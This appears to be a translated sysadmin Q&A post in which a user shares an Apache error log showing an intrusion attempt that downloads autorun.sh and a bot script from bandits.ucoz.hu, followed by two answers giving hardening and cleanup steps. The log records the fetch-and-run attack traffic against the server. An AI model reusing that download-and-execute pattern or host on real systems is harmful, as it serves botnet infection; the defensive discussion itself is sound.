我遇到了 Apache 问题。error_log 文件中显示了以下日志。
--15:01:26-- http://bandits.ucoz.hu/autorun.sh
Resolving bandits.ucoz.hu... 193.109.247.50
Connecting to bandits.ucoz.hu|193.109.247.50|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 396 [application/octet-stream]
Saving to: `autorun.sh'
0K 100% 51.6M=0s
15:01:26 (51.6 MB/s) - `autorun.sh' saved [396/396]
sh: fetch: command not found
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 396 100 396 0 0 70387 0 --:--:-- --:--:-- --:--:-- 0
connected.
HTTP request sent, awaiting response... 200 OK
Length: 28762 (28K) [text/plain]
Saving to: `b0t3.txt'
0K .......... .......... ........ 100% 8.75M=0.003s
15:01:27 (8.75 MB/s) - `b0t3.txt' saved [28762/28762]
sh: fetch: command not found
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 28762 100 28762 0 0 3434k 0 --:--:-- --:--:-- --:--:-- 13.1M
sh: /usr/bin/lwp-download: /usr/bin/perl: bad interpreter: Permission denied
sh: /usr/bin/perl: Permission denied
--15:01:27-- http://bandits.ucoz.hu/autorun.sh
Resolving bandits.ucoz.hu... 193.109.247.50
Connecting to bandits.ucoz.hu|193.109.247.50|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 396 [application/octet-stream]
Saving to: `autorun.sh'
0K 100% 31.8M=0s
15:01:27 (31.8 MB/s) - `autorun.sh' saved [396/396]
sh: fetch: command not found
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 396 100 396 0 0 48768 0 --:--:-- --:--:-- --:--:-- 0
我该如何避免这个问题?
答案1
似乎有人试图使用您的某个可能存在漏洞的网页下载并运行 perl 脚本。 - 尝试禁用所有解释器的执行(perl、phyton、curl、c 等)。
我认为它可能是 apache + php,如果是,您可能被禁用:allow_url_fopen = Off,以禁用通过 PHP 下载。
添加 httpd mod_security
- 修复了易受攻击的网页脚本
- 为某些 IP/端口打开传出防火墙
答案2
您有一个脚本在某处获取看起来像僵尸网络脚本的东西,试图保存它并在本地执行。但这并没有发生,因为它在错误文件中。
- 封锁盗贼 IP [尽管可能还有更多]
- 找到该脚本 [grep for the bandits url]
找出该脚本用来检索文件的内容(如果可以的话阻止它)
使用 rkhunter 下载并扫描
- 查看你的邮件队列
- 注意进程列表中的奇怪事物
-肖恩